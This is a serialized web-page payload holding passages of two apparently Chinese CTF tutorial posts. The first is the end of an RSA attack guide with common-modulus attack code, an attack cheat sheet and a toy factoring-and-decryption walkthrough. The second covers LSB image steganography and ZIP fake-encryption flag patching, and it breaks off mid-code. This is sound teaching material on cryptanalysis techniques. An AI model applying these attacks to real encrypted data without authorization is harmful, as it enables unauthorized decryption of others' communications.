pow(m, e1, n) # 2790：e1 加密结果\n",[33,9376,9377],{"class":35,"line":1301},[33,9378,9379],{},"c2 = pow(m, e2, n) # 232：e2 加密结果\n",[33,9381,9382],{"class":35,"line":1505},[33,9383,1460],{"emptyLinePlaceholder":1373},[33,9385,9386],{"class":35,"line":1511},[33,9387,9388],{},"_, a, b = egcd(e1, e2)\n",[33,9390,9391],{"class":35,"line":1517},[33,9392,9393],{},"# 忽略第一个返回值（gcd=1），取 a、b。\n",[33,9395,9396],{"class":35,"line":1523},[33,9397,9398],{},"print(\"a =\", a, \"b =\", b, \"a*e1+b*e2 =\", a*e1 + b*e2)\n",[33,9400,9401],{"class":35,"line":1529},[33,9402,9403],{},"# 应输出 a=9, b=-8，验证 9×17 + (-8)×19 = 1。\n",[33,9405,9406],{"class":35,"line":1535},[33,9407,1460],{"emptyLinePlaceholder":1373},[33,9409,9410],{"class":35,"line":1541},[33,9411,9412],{},"# 负指数要先取模逆元\n",[33,9414,9415],{"class":35,"line":2981},[33,9416,9417],{},"if a \u003C 0:\n",[33,9419,9420],{"class":35,"line":2987},[33,9421,9422],{}," c1 = pow(pow(c1, -1, n), -a, n)\n",[33,9424,9425],{"class":35,"line":2993},[33,9426,9427],{}," # pow(c1, -1, n)：c1 在模 n 下的逆元；再取 -a 次方（-a 为正）。\n",[33,9429,9430],{"class":35,"line":2999},[33,9431,9432],{},"else:\n",[33,9434,9435],{"class":35,"line":3005},[33,9436,9437],{}," c1 = pow(c1, a, n)\n",[33,9439,9440],{"class":35,"line":4070},[33,9441,9442],{},"if b \u003C 0:\n",[33,9444,9445],{"class":35,"line":4076},[33,9446,9447],{}," c2 = pow(pow(c2, -1, n), -b, n)\n",[33,9449,9450],{"class":35,"line":4081},[33,9451,9432],{},[33,9453,9454],{"class":35,"line":4461},[33,9455,9456],{}," c2 = pow(c2, b, n)\n",[33,9458,9459],{"class":35,"line":4467},[33,9460,1460],{"emptyLinePlaceholder":1373},[33,9462,9463],{"class":35,"line":4473},[33,9464,9465],{},"recovered = (c1 * c2) % n\n",[33,9467,9468],{"class":35,"line":4479},[33,9469,9470],{},"# c1^a × c2^b = m^(a·e1 + b·e2) = m^1 = m (mod n)。\n",[33,9472,9473],{"class":35,"line":4485},[33,9474,9475],{},"print(\"恢复 m =\", recovered)\n",[33,9477,9478],{"class":35,"line":4491},[33,9479,9480],{},"# 预期 65，与原始 m 相等，攻击成功。\n",[16,9482,2432],{},[23,9484,9487],{"className":9485,"code":9486,"language":175,"meta":28},[173],"a = 9 b = -8 a*e1+b*e2 = 1\n恢复 m = 65\n",[30,9488,9486],{"__ignoreMap":28},[11,9490,9492],{"id":9491},"七其他常见攻击速查","七、其他常见攻击速查",[490,9494,9495,9505],{},[493,9496,9497],{},[496,9498,9499,9502],{},[499,9500,9501],{},"场景",[499,9503,9504],{},"攻击",[506,9506,9507,9525,9533,9541,9549],{},[496,9508,9509,9518],{},[511,9510,9511,9514,9515],{},[30,9512,9513],{},"e=3"," 且 ",[30,9516,9517],{},"m^e \u003C n",[511,9519,9520,9521,9524],{},"直接开立方根（",[30,9522,9523],{},"gmpy2.iroot(c, 3)","）",[496,9526,9527,9530],{},[511,9528,9529],{},"同一明文发给 3 个不同 n",[511,9531,9532],{},"Håstad 广播攻击（中国剩余定理 + 开方）",[496,9534,9535,9538],{},[511,9536,9537],{},"e 特别大（d 很小）",[511,9539,9540],{},"Wiener 攻击（连分数）",[496,9542,9543,9546],{},[511,9544,9545],{},"p、q 很接近",[511,9547,9548],{},"Fermat 分解（平方差）",[496,9550,9551,9554],{},[511,9552,9553],{},"泄露 dp",[511,9555,9556,9557],{},"枚举 k，",[30,9558,9559],{},"p = (e*dp-1)//k + 1",[11,9561,2031],{"id":2030},[490,9563,9564,9574],{},[493,9565,9566],{},[496,9567,9568,9570,9572],{},[499,9569,1047],{},[499,9571,2042],{},[499,9573,2045],{},[506,9575,9576,9594,9610],{},[496,9577,9578,9581,9592],{},[511,9579,9580],{},"pycryptodome",[511,9582,9583,264,9586,264,9589],{},[30,9584,9585],{},"long_to_bytes",[30,9587,9588],{},"inverse",[30,9590,9591],{},"pow(m,e,n)",[511,9593,2074],{},[496,9595,9596,9599,9605],{},[511,9597,9598],{},"sympy",[511,9600,9601,9604],{},[30,9602,9603],{},"factorint"," 分解",[511,9606,9607],{},[30,9608,9609],{},"factorint(3233)",[496,9611,9612,9615,9618],{},[511,9613,9614],{},"RsaCtfTool",[511,9616,9617],{},"自动尝试多种攻击、从公钥文件读取",[511,9619,9620],{},[30,9621,9622],{},"./RsaCtfTool.py -n N -e E --uncipher C --attack all",[16,9624,9625,9626,9631],{},"FactorDB（",[2500,9627,9630],{"href":9628,"rel":9629},"https://factordb.com%EF%BC%89%E7%94%A8%E4%BA%8E%E6%9F%A5",[2504],"https://factordb.com）用于查"," n 的已知分解。",[11,9633,8731],{"id":8730},[16,9635,1136],{},[23,9637,9640],{"className":9638,"code":9639,"language":175,"meta":28},[173],"n = 1000000016000000063\ne = 65537\nc = 856868007642616233\n",[30,9641,9639],{"__ignoreMap":28},[16,9643,9644],{},"说明：真实题目的 n 有数百位，这里为了能在本地秒级分解，使用 19 位 n；分解方法完全一致。",[147,9646,9648],{"id":9647},"第一步分解","第一步：分解",[16,9650,9651,9653],{},[136,9652,144],{},"：n 只有 19 位，sympy 的 factorint 用试除/快速算法秒级分解；若 n 更大，改用 yafu 或查 FactorDB。",[23,9655,9657],{"className":1238,"code":9656,"language":1240,"meta":28,"style":28},"from sympy import factorint\nprint(factorint(1000000016000000063))\n",[30,9658,9659,9663],{"__ignoreMap":28},[33,9660,9661],{"class":35,"line":36},[33,9662,9078],{},[33,9664,9665],{"class":35,"line":47},[33,9666,9667],{},"print(factorint(1000000016000000063))\n",[16,9669,2432],{},[23,9671,9674],{"className":9672,"code":9673,"language":175,"meta":28},[173],"{1000000007: 1, 1000000009: 1}\n",[30,9675,9673],{"__ignoreMap":28},[147,9677,9679],{"id":9678},"第二步解密","第二步：解密",[16,9681,9682,9684,9685,9688],{},[136,9683,144],{},"：与 5.2 完全相同的公式，只是参数换成实际值；输出 ",[30,9686,9687],{},"b'flag'"," 说明解密成功。",[23,9690,9692],{"className":1238,"code":9691,"language":1240,"meta":28,"style":28},"from Crypto.Util.number import long_to_bytes\n\nn = 1000000016000000063\ne = 65537\nc = 856868007642616233\np, q = 1000000007, 1000000009\n\nphi = (p - 1) * (q - 1)\nd = pow(e, -1, phi)\nprint(long_to_bytes(pow(c, d, n)))\n",[30,9693,9694,9698,9702,9707,9712,9717,9722,9726,9730,9734],{"__ignoreMap":28},[33,9695,9696],{"class":35,"line":36},[33,9697,9120],{},[33,9699,9700],{"class":35,"line":47},[33,9701,1460],{"emptyLinePlaceholder":1373},[33,9703,9704],{"class":35,"line":70},[33,9705,9706],{},"n = 1000000016000000063\n",[33,9708,9709],{"class":35,"line":80},[33,9710,9711],{},"e = 65537\n",[33,9713,9714],{"class":35,"line":452},[33,9715,9716],{},"c = 856868007642616233\n",[33,9718,9719],{"class":35,"line":458},[33,9720,9721],{},"p, q = 1000000007, 1000000009\n",[33,9723,9724],{"class":35,"line":464},[33,9725,1460],{"emptyLinePlaceholder":1373},[33,9727,9728],{"class":35,"line":470},[33,9729,8971],{},[33,9731,9732],{"class":35,"line":476},[33,9733,8981],{},[33,9735,9736],{"class":35,"line":482},[33,9737,9738],{},"print(long_to_bytes(pow(c, d, n)))\n",[16,9740,2432],{},[23,9742,9745],{"className":9743,"code":9744,"language":175,"meta":28},[173],"b'flag'\n",[30,9746,9744],{"__ignoreMap":28},[147,9748,9750],{"id":9749},"第三步工具验证","第三步：工具验证",[23,9752,9754],{"className":25,"code":9753,"language":27,"meta":28,"style":28},"./RsaCtfTool.py -n 1000000016000000063 -e 65537 --uncipher 856868007642616233 --attack all\n",[30,9755,9756],{"__ignoreMap":28},[33,9757,9758,9761,9763,9766,9769,9772,9775,9778,9781],{"class":35,"line":36},[33,9759,9760],{"class":39},"./RsaCtfTool.py",[33,9762,242],{"class":241},[33,9764,9765],{"class":241}," 1000000016000000063",[33,9767,9768],{"class":241}," -e",[33,9770,9771],{"class":241}," 65537",[33,9773,9774],{"class":241}," --uncipher",[33,9776,9777],{"class":241}," 856868007642616233",[33,9779,9780],{"class":241}," --attack",[33,9782,9783],{"class":43}," all\n",[11,9785,2224],{"id":2223},[16,9787,9788,9789,9792],{},"RSA 解题顺序：",[136,9790,9791],{},"先查 n 能否分解（FactorDB/sympy）→ 能分解就按公式解密 → 不能分解就检查共模、低指数、Wiener、Fermat 等结构性错误","。每个攻击对应一种\"实现错误\"，识别特征后套模板即可。",[1350,9794,3247],{},{"title":28,"searchDepth":47,"depth":47,"links":9796},[9797,9798,9799,9800,9801,9802,9803,9804,9805,9806],{"id":8843,"depth":70,"text":8844},{"id":89,"depth":70,"text":90},{"id":8907,"depth":70,"text":8908},{"id":8935,"depth":70,"text":8936},{"id":9053,"depth":70,"text":9054},{"id":9256,"depth":70,"text":9257},{"id":9491,"depth":70,"text":9492},{"id":2030,"depth":70,"text":2031},{"id":8730,"depth":70,"text":8731},{"id":2223,"depth":70,"text":2224},"RSA的DH 与公钥密码学背景、数论公式与小数字手算、小 n 分解解密、共模攻击的数学推导与代码。",{"date":1366,"image":6692,"alt":9809,"tags":9810,"published":1373},"RSA 深入实战",[1370,3263,9811,1372],"rsa","/blogs/ctf-crypto-rsa-deep-dive",{"title":8838,"description":9807},"blogs/19. ctf-crypto-rsa-deep-dive","cUGS-VePAPrg-FWNvg-OJ725RRZNhFybQstAdcvf9qo",{"id":9817,"title":9818,"body":9819,"description":10879,"extension":1364,"meta":10880,"navigation":1373,"ogImage":2254,"path":10885,"seo":10886,"stem":10887,"__hash__":10888},"content/blogs/20. ctf-misc-stego-forensics-deep-dive.md","隐写与取证深入实战：LSB 隐写与 ZIP 伪加密",{"type":8,"value":9820,"toc":10869},[9821,9825,9832,9834,9871,9875,9879,9882,9888,9892,9897,10061,10074,10078,10083,10088,10203,10205,10211,10215,10231,10237,10241,10246,10251,10255,10258,10264,10271,10275,10280,10318,10320,10326,10329,10335,10339,10344,10401,10404,10410,10413,10451,10453,10459,10462,10466,10475,10530,10532,10538,10545,10549,10554,10559,10562,10660,10667,10673,10684,10686,10756,10760,10765,10770,10775,10778,10820,10823,10828,10835,10850,10853,10855,10866],[11,9822,9824],{"id":9823},"一现实背景文件头与压缩包","一、现实背景：文件头与压缩包",[16,9826,9827,9828,9831],{},"文件真实类型由文件头决定。ZIP 文件头是 ",[30,9829,9830],{},"50 4B 03 04","，其内部结构里有\"加密标志位\"，出题人可以把标志位置 1 制造\"伪加密\"（数据其实没加密）。图片取证中，LSB 隐写把秘密藏在像素最低位。本文完整实现这两种技术。",[11,9833,90],{"id":89},[23,9835,9837],{"className":25,"code":9836,"language":27,"meta":28,"style":28},"apt install file binutils binwalk\npip3 install pillow\ngem install zsteg\n",[30,9838,9839,9852,9861],{"__ignoreMap":28},[33,9840,9841,9843,9845,9847,9849],{"class":35,"line":36},[33,9842,103],{"class":39},[33,9844,106],{"class":43},[33,9846,109],{"class":43},[33,9848,112],{"class":43},[33,9850,9851],{"class":43}," binwalk\n",[33,9853,9854,9856,9858],{"class":35,"line":47},[33,9855,1425],{"class":39},[33,9857,106],{"class":43},[33,9859,9860],{"class":43}," pillow\n",[33,9862,9863,9866,9868],{"class":35,"line":70},[33,9864,9865],{"class":39},"gem",[33,9867,106],{"class":43},[33,9869,9870],{"class":43}," zsteg\n",[11,9872,9874],{"id":9873},"三核心技能-1lsb-隐写完整实现","三、核心技能 1：LSB 隐写（完整实现）",[147,9876,9878],{"id":9877},"_31-原理","3.1 原理",[16,9880,9881],{},"像素每个通道 1 字节（0-255）。把字节最低位替换成秘密比特，值最多变化 1，肉眼不可察觉：",[23,9883,9886],{"className":9884,"code":9885,"language":175,"meta":28},[173],"原来: 11001000 10010110 01100100\n写入: 11001001 10010110 01100101 ← 最低位写入 1,0,1\n",[30,9887,9885],{"__ignoreMap":28},[147,9889,9891],{"id":9890},"_32-隐藏出题人视角","3.2 隐藏（出题人视角）",[16,9893,9894,9896],{},[136,9895,138],{},"：理解\"把秘密写进像素最低位\"的实现细节，才能反过来写出提取脚本。",[23,9898,9900],{"className":1238,"code":9899,"language":1240,"meta":28,"style":28},"from PIL import Image\n# PIL 是 Python 图像处理库，Image 模块负责打开、新建、保存图片。\n\nimg = Image.new('RGB', (8, 8), (200, 150, 100))\n# Image.new(mode, size, color)：新建图片。mode='RGB'，size=(8,8)，color 是初始色。\nmessage = \"flag{lsb_steganography}\"\n\ndata = message.encode() + b'\\x00'\n# encode()：字符串转字节；追加 b'\\x00' 作为结束符（提取时遇到 0 停止）。\nbits = ''.join(f'{b:08b}' for b in data)\n# 每个字节转成 8 位二进制字符串后拼接成一条长比特串。\npixels = list(img.getdata())\n# getdata()：取出所有像素，每项是 (r,g,b)。\n\nnew_pixels = []\ni = 0\nfor r, g, b in pixels:\n if i \u003C len(bits):\n r = (r & 0xfe) | int(bits[i]); i += 1\n # r & 0xfe：最低位清零；| int(bits[i])：写入第 i 个秘密比特。\n if i \u003C len(bits):\n g = (g & 0xfe) | int(bits[i]); i += 1\n # 绿色通道，同样处理。\n if i \u003C len(bits):\n b = (b & 0xfe) | int(bits[i]); i += 1\n # 蓝色通道。三个通道依次消耗比特，直到消息写完。\n new_pixels.append((r, g, b))\n\nimg.putdata(new_pixels)\n# putdata()：把修改后的像素写回图片。\nimg.save('hidden.png')\n# save()：保存为 PNG。\nprint(\"已生成 hidden.png\")\n",[30,9901,9902,9907,9912,9916,9921,9926,9931,9935,9940,9945,9950,9955,9960,9965,9969,9974,9979,9984,9989,9994,9999,10003,10008,10013,10017,10022,10027,10032,10036,10041,10046,10051,10056],{"__ignoreMap":28},[33,9903,9904],{"class":35,"line":36},[33,9905,9906],{},"from PIL import Image\n",[33,9908,9909],{"class":35,"line":47},[33,9910,9911],{},"# PIL 是 Python 图像处理库，Image 模块负责打开、新建、保存图片。\n",[33,9913,9914],{"class":35,"line":70},[33,9915,1460],{"emptyLinePlaceholder":1373},[33,9917,9918],{"class":35,"line":80},[33,9919,9920],{},"img = Image.new('RGB', (8, 8), (200, 150, 100))\n",[33,9922,9923],{"class":35,"line":452},[33,9924,9925],{},"# Image.new(mode, size, color)：新建图片。mode='RGB'，size=(8,8)，color 是初始色。\n",[33,9927,9928],{"class":35,"line":458},[33,9929,9930],{},"message = \"flag{lsb_steganography}\"\n",[33,9932,9933],{"class":35,"line":464},[33,9934,1460],{"emptyLinePlaceholder":1373},[33,9936,9937],{"class":35,"line":470},[33,9938,9939],{},"data = message.encode() + b'\\x00'\n",[33,9941,9942],{"class":35,"line":476},[33,9943,9944],{},"# encode()：字符串转字节；追加 b'\\x00' 作为结束符（提取时遇到 0 停止）。\n",[33,9946,9947],{"class":35,"line":482},[33,9948,9949],{},"bits = ''.join(f'{b:08b}' for b in data)\n",[33,9951,9952],{"class":35,"line":1295},[33,9953,9954],{},"# 每个字节转成 8 位二进制字符串后拼接成一条长比特串。\n",[33,9956,9957],{"class":35,"line":1301},[33,9958,9959],{},"pixels = list(img.getdata())\n",[33,9961,9962],{"class":35,"line":1505},[33,9963,9964],{},"# getdata()：取出所有像素，每项是 (r,g,b)。\n",[33,9966,9967],{"class":35,"line":1511},[33,9968,1460],{"emptyLinePlaceholder":1373},[33,9970,9971],{"class":35,"line":1517},[33,9972,9973],{},"new_pixels = []\n",[33,9975,9976],{"class":35,"line":1523},[33,9977,9978],{},"i = 0\n",[33,9980,9981],{"class":35,"line":1529},[33,9982,9983],{},"for r, g, b in pixels:\n",[33,9985,9986],{"class":35,"line":1535},[33,9987,9988],{}," if i \u003C len(bits):\n",[33,9990,9991],{"class":35,"line":1541},[33,9992,9993],{}," r = (r & 0xfe) | int(bits[i]); i += 1\n",[33,9995,9996],{"class":35,"line":2981},[33,9997,9998],{}," # r & 0xfe：最低位清零；| int(bits[i])：写入第 i 个秘密比特。\n",[33,10000,10001],{"class":35,"line":2987},[33,10002,9988],{},[33,10004,10005],{"class":35,"line":2993},[33,10006,10007],{}," g = (g & 0xfe) | int(bits[i]); i += 1\n",[33,10009,10010],{"class":35,"line":2999},[33,10011,10012],{}," # 绿色通道，同样处理。\n",[33,10014,10015],{"class":35,"line":3005},[33,10016,9988],{},[33,10018,10019],{"class":35,"line":4070},[33,10020,10021],{}," b = (b & 0xfe) | int(bits[i]); i += 1\n",[33,10023,10024],{"class":35,"line":4076},[33,10025,10026],{}," # 蓝色通道。三个通道依次消耗比特，直到消息写完。\n",[33,10028,10029],{"class":35,"line":4081},[33,10030,10031],{}," new_pixels.append((r, g, b))\n",[33,10033,10034],{"class":35,"line":4461},[33,10035,1460],{"emptyLinePlaceholder":1373},[33,10037,10038],{"class":35,"line":4467},[33,10039,10040],{},"img.putdata(new_pixels)\n",[33,10042,10043],{"class":35,"line":4473},[33,10044,10045],{},"# putdata()：把修改后的像素写回图片。\n",[33,10047,10048],{"class":35,"line":4479},[33,10049,10050],{},"img.save('hidden.png')\n",[33,10052,10053],{"class":35,"line":4485},[33,10054,10055],{},"# save()：保存为 PNG。\n",[33,10057,10058],{"class":35,"line":4491},[33,10059,10060],{},"print(\"已生成 hidden.png\")\n",[16,10062,10063,10066,10067,8135,10070,10073],{},[30,10064,10065],{},"r & 0xfe"," 清零最低位（",[30,10068,10069],{},"0xfe = 11111110",[30,10071,10072],{},"| bit"," 写入。",[147,10075,10077],{"id":10076},"_33-提取解题视角","3.3 提取（解题视角）",[16,10079,10080,10082],{},[136,10081,138],{},"：把像素最低位收集起来，每 8 位一组还原成字节，得到隐藏消息。",[16,10084,10085,10087],{},[136,10086,144],{},"：读取像素 → 依次取 R、G、B 最低位 → 8 位拼 1 字节 → 遇到 0 结束。",[23,10089,10091],{"className":1238,"code":10090,"language":1240,"meta":28,"style":28},"from PIL import Image\n\nimg = Image.open('hidden.png').convert('RGB')\n# Image.open：打开图片；convert('RGB')：统一为 RGB 模式。\nbits = []\nfor r, g, b in img.getdata():\n bits += [r & 1, g & 1, b & 1]\n # r & 1：取最低位（0 或 1），顺序与隐藏时一致。\n\ndata = bytearray()\nfor i in range(0, len(bits) - 7, 8):\n # 每 8 个比特一组，步长为 8。\n byte = 0\n for bit in bits[i:i+8]:\n byte = (byte \u003C\u003C 1) | bit\n # 左移 1 位再或上当前比特，等价于二进制拼接。\n if byte == 0:\n # 字节 0 是隐藏时追加的结束符。\n break\n data.append(byte)\n\nprint(data.decode())\n# decode()：字节串解码成字符串。\n",[30,10092,10093,10097,10101,10106,10111,10116,10121,10126,10131,10135,10140,10145,10150,10155,10160,10165,10170,10175,10180,10184,10189,10193,10198],{"__ignoreMap":28},[33,10094,10095],{"class":35,"line":36},[33,10096,9906],{},[33,10098,10099],{"class":35,"line":47},[33,10100,1460],{"emptyLinePlaceholder":1373},[33,10102,10103],{"class":35,"line":70},[33,10104,10105],{},"img = Image.open('hidden.png').convert('RGB')\n",[33,10107,10108],{"class":35,"line":80},[33,10109,10110],{},"# Image.open：打开图片；convert('RGB')：统一为 RGB 模式。\n",[33,10112,10113],{"class":35,"line":452},[33,10114,10115],{},"bits = []\n",[33,10117,10118],{"class":35,"line":458},[33,10119,10120],{},"for r, g, b in img.getdata():\n",[33,10122,10123],{"class":35,"line":464},[33,10124,10125],{}," bits += [r & 1, g & 1, b & 1]\n",[33,10127,10128],{"class":35,"line":470},[33,10129,10130],{}," # r & 1：取最低位（0 或 1），顺序与隐藏时一致。\n",[33,10132,10133],{"class":35,"line":476},[33,10134,1460],{"emptyLinePlaceholder":1373},[33,10136,10137],{"class":35,"line":482},[33,10138,10139],{},"data = bytearray()\n",[33,10141,10142],{"class":35,"line":1295},[33,10143,10144],{},"for i in range(0, len(bits) - 7, 8):\n",[33,10146,10147],{"class":35,"line":1301},[33,10148,10149],{}," # 每 8 个比特一组，步长为 8。\n",[33,10151,10152],{"class":35,"line":1505},[33,10153,10154],{}," byte = 0\n",[33,10156,10157],{"class":35,"line":1511},[33,10158,10159],{}," for bit in bits[i:i+8]:\n",[33,10161,10162],{"class":35,"line":1517},[33,10163,10164],{}," byte = (byte \u003C\u003C 1) | bit\n",[33,10166,10167],{"class":35,"line":1523},[33,10168,10169],{}," # 左移 1 位再或上当前比特，等价于二进制拼接。\n",[33,10171,10172],{"class":35,"line":1529},[33,10173,10174],{}," if byte == 0:\n",[33,10176,10177],{"class":35,"line":1535},[33,10178,10179],{}," # 字节 0 是隐藏时追加的结束符。\n",[33,10181,10182],{"class":35,"line":1541},[33,10183,2672],{},[33,10185,10186],{"class":35,"line":2981},[33,10187,10188],{}," data.append(byte)\n",[33,10190,10191],{"class":35,"line":2987},[33,10192,1460],{"emptyLinePlaceholder":1373},[33,10194,10195],{"class":35,"line":2993},[33,10196,10197],{},"print(data.decode())\n",[33,10199,10200],{"class":35,"line":2999},[33,10201,10202],{},"# decode()：字节串解码成字符串。\n",[16,10204,2432],{},[23,10206,10209],{"className":10207,"code":10208,"language":175,"meta":28},[173],"flag{lsb_steganography}\n",[30,10210,10208],{"__ignoreMap":28},[147,10212,10214],{"id":10213},"_34-工具验证","3.4 工具验证",[23,10216,10218],{"className":25,"code":10217,"language":27,"meta":28,"style":28},"zsteg -a hidden.png\n",[30,10219,10220],{"__ignoreMap":28},[33,10221,10222,10225,10228],{"class":35,"line":36},[33,10223,10224],{"class":39},"zsteg",[33,10226,10227],{"class":241}," -a",[33,10229,10230],{"class":43}," hidden.png\n",[16,10232,10233,10234,301],{},"预期输出中包含 ",[30,10235,10236],{},"flag{lsb_steganography}",[11,10238,10240],{"id":10239},"四核心技能-2zip-伪加密完整实现","四、核心技能 2：ZIP 伪加密（完整实现）",[16,10242,10243,10245],{},[136,10244,138],{},"：理解 ZIP 的\"加密标志位\"结构，学会修复伪加密。",[16,10247,10248,10250],{},[136,10249,144],{},"：先看正常 zip 的十六进制，找到标志位位置；把加密位置 1 模拟伪加密（此时解压报\"需要密码\"）；再把位置 0 修复，验证能正常读出内容。",[147,10252,10254],{"id":10253},"_41-zip-结构","4.1 ZIP 结构",[16,10256,10257],{},"本地文件头：",[23,10259,10262],{"className":10260,"code":10261,"language":175,"meta":28},[173],"偏移 字段\n0x00 签名 50 4B 03 04\n0x04 版本（2 字节）\n0x06 通用标志位（2 字节，第 0 位 = 加密位）\n",[30,10263,10261],{"__ignoreMap":28},[16,10265,10266,10267,10270],{},"中央目录头（签名 ",[30,10268,10269],{},"50 4B 01 02","）中标志位位于偏移 0x08。",[147,10272,10274],{"id":10273},"_42-生成-zip-并查看结构","4.2 生成 zip 并查看结构",[16,10276,10277,10279],{},[136,10278,138],{},"：建立\"正常 zip\"的基线，确认本地文件头与中央目录头中标志位的位置。",[23,10281,10283],{"className":1238,"code":10282,"language":1240,"meta":28,"style":28},"import zipfile\n\nwith zipfile.ZipFile('flag.zip', 'w') as z:\n z.writestr('flag.txt', 'ctf{zip}')\n\ndata = open('flag.zip', 'rb').read()\nprint(' '.join(f'{b:02x}' for b in data[:60]))\n",[30,10284,10285,10290,10294,10299,10304,10308,10313],{"__ignoreMap":28},[33,10286,10287],{"class":35,"line":36},[33,10288,10289],{},"import zipfile\n",[33,10291,10292],{"class":35,"line":47},[33,10293,1460],{"emptyLinePlaceholder":1373},[33,10295,10296],{"class":35,"line":70},[33,10297,10298],{},"with zipfile.ZipFile('flag.zip', 'w') as z:\n",[33,10300,10301],{"class":35,"line":80},[33,10302,10303],{}," z.writestr('flag.txt', 'ctf{zip}')\n",[33,10305,10306],{"class":35,"line":452},[33,10307,1460],{"emptyLinePlaceholder":1373},[33,10309,10310],{"class":35,"line":458},[33,10311,10312],{},"data = open('flag.zip', 'rb').read()\n",[33,10314,10315],{"class":35,"line":464},[33,10316,10317],{},"print(' '.join(f'{b:02x}' for b in data[:60]))\n",[16,10319,2432],{},[23,10321,10324],{"className":10322,"code":10323,"language":175,"meta":28},[173],"50 4b 03 04 14 00 00 00 00 00 d8 73 0e 5d b0 75 c1 31 08 00 00 00 08 00 00 00 08 00 00 00 66 6c 61 67 2e 74 78 74 63 74 66 7b 7a 69 70 7d 50 4b 01 02 14 03 14 00 00 00 00 00 d8 73\n",[30,10325,10323],{"__ignoreMap":28},[16,10327,10328],{},"解释：",[23,10330,10333],{"className":10331,"code":10332,"language":175,"meta":28},[173],"50 4b 03 04 ← 本地文件头签名\n14 00 ← 版本\n00 00 ← 通用标志位（00 00 = 未加密）\n...\n50 4b 01 02 ← 中央目录头签名\n14 03 14 00 ← 版本信息\n00 00 ← 中央目录标志位（未加密）\n",[30,10334,10332],{"__ignoreMap":28},[147,10336,10338],{"id":10337},"_43-设置加密位伪加密","4.3 设置加密位（伪加密）",[16,10340,10341,10343],{},[136,10342,144],{},"：只改数据不加密，而是把\"加密标志位\"置 1，让解压程序误以为需要密码。",[23,10345,10347],{"className":1238,"code":10346,"language":1240,"meta":28,"style":28},"data = bytearray(open('flag.zip', 'rb').read())\n\n# 本地文件头：偏移 6 处标志位置位\nidx = data.find(b'PK\\x03\\x04')\ndata[idx + 6] |= 1\n\n# 中央目录头：偏移 8 处标志位置位\nidx2 = data.find(b'PK\\x01\\x02')\ndata[idx2 + 8] |= 1\n\nopen('flag_enc.zip', 'wb').write(data)\n",[30,10348,10349,10354,10358,10363,10368,10373,10377,10382,10387,10392,10396],{"__ignoreMap":28},[33,10350,10351],{"class":35,"line":36},[33,10352,10353],{},"data = bytearray(open('flag.zip', 'rb').read())\n",[33,10355,10356],{"class":35,"line":47},[33,10357,1460],{"emptyLinePlaceholder":1373},[33,10359,10360],{"class":35,"line":70},[33,10361,10362],{},"# 本地文件头：偏移 6 处标志位置位\n",[33,10364,10365],{"class":35,"line":80},[33,10366,10367],{},"idx = data.find(b'PK\\x03\\x04')\n",[33,10369,10370],{"class":35,"line":452},[33,10371,10372],{},"data[idx + 6] |= 1\n",[33,10374,10375],{"class":35,"line":458},[33,10376,1460],{"emptyLinePlaceholder":1373},[33,10378,10379],{"class":35,"line":464},[33,10380,10381],{},"# 中央目录头：偏移 8 处标志位置位\n",[33,10383,10384],{"class":35,"line":470},[33,10385,10386],{},"idx2 = data.find(b'PK\\x01\\x02')\n",[33,10388,10389],{"class":35,"line":476},[33,10390,10391],{},"data[idx2 + 8] |= 1\n",[33,10393,10394],{"class":35,"line":482},[33,10395,1460],{"emptyLinePlaceholder":1373},[33,10397,10398],{"class":35,"line":1295},[33,10399,10400],{},"open('flag_enc.zip', 'wb').write(data)\n",[16,10402,10403],{},"修改后的 hexdump：",[23,10405,10408],{"className":10406,"code":10407,"language":175,"meta":28},[173],"50 4b 03 04 14 00 01 00 00 00 d8 73 ... ← 本地标志位 01\n50 4b 01 02 14 03 14 00 01 00 00 00 d8 73 ... ← 中央标志位 01\n",[30,10409,10407],{"__ignoreMap":28},[16,10411,10412],{},"尝试读取：",[23,10414,10416],{"className":1238,"code":10415,"language":1240,"meta":28,"style":28},"import zipfile\n\ntry:\n with zipfile.ZipFile('flag_enc.zip') as z:\n print(z.read('flag.txt'))\nexcept Exception as e:\n print(type(e).__name__, e)\n",[30,10417,10418,10422,10426,10431,10436,10441,10446],{"__ignoreMap":28},[33,10419,10420],{"class":35,"line":36},[33,10421,10289],{},[33,10423,10424],{"class":35,"line":47},[33,10425,1460],{"emptyLinePlaceholder":1373},[33,10427,10428],{"class":35,"line":70},[33,10429,10430],{},"try:\n",[33,10432,10433],{"class":35,"line":80},[33,10434,10435],{}," with zipfile.ZipFile('flag_enc.zip') as z:\n",[33,10437,10438],{"class":35,"line":452},[33,10439,10440],{}," print(z.read('flag.txt'))\n",[33,10442,10443],{"class":35,"line":458},[33,10444,10445],{},"except Exception as e:\n",[33,10447,10448],{"class":35,"line":464},[33,10449,10450],{}," print(type(e).__name__, e)\n",[16,10452,2432],{},[23,10454,10457],{"className":10455,"code":10456,"language":175,"meta":28},[173],"RuntimeError File 'flag.txt' is encrypted, password required for extraction\n",[30,10458,10456],{"__ignoreMap":28},[16,10460,10461],{},"程序要求密码——但数据根本没加密，这就是伪加密。",[147,10463,10465],{"id":10464},"_44-修复","4.4 修复",[16,10467,10468,10470,10471,10474],{},[136,10469,144],{},"：把两处标志位最低位清零（",[30,10472,10473],{},"& 0xfe","），恢复成未加密状态。",[23,10476,10478],{"className":1238,"code":10477,"language":1240,"meta":28,"style":28},"data = bytearray(open('flag_enc.zip', 'rb').read())\n\nidx = data.find(b'PK\\x03\\x04')\ndata[idx + 6] &= 0xfe # 清除本地头加密位\nidx2 = data.find(b'PK\\x01\\x02')\ndata[idx2 + 8] &= 0xfe # 清除中央目录加密位\n\nopen('flag_fixed.zip', 'wb').write(data)\n\nwith zipfile.ZipFile('flag_fixed.zip') as z:\n print(z.read('flag.txt'))\n",[30,10479,10480,10485,10489,10493,10498,10502,10507,10511,10516,10520,10525],{"__ignoreMap":28},[33,10481,10482],{"class":35,"line":36},[33,10483,10484],{},"data = bytearray(open('flag_enc.zip', 'rb').read())\n",[33,10486,10487],{"class":35,"line":47},[33,10488,1460],{"emptyLinePlaceholder":1373},[33,10490,10491],{"class":35,"line":70},[33,10492,10367],{},[33,10494,10495],{"class":35,"line":80},[33,10496,10497],{},"data[idx + 6] &= 0xfe # 清除本地头加密位\n",[33,10499,10500],{"class":35,"line":452},[33,10501,10386],{},[33,10503,10504],{"class":35,"line":458},[33,10505,10506],{},"data[idx2 + 8] &= 0xfe # 清除中央目录加密位\n",[33,10508,10509],{"class":35,"line":464},[33,10510,1460],{"emptyLinePlaceholder":1373},[33,10512,10513],{"class":35,"line":470},[33,10514,10515],{},"open('flag_fixed.zip', 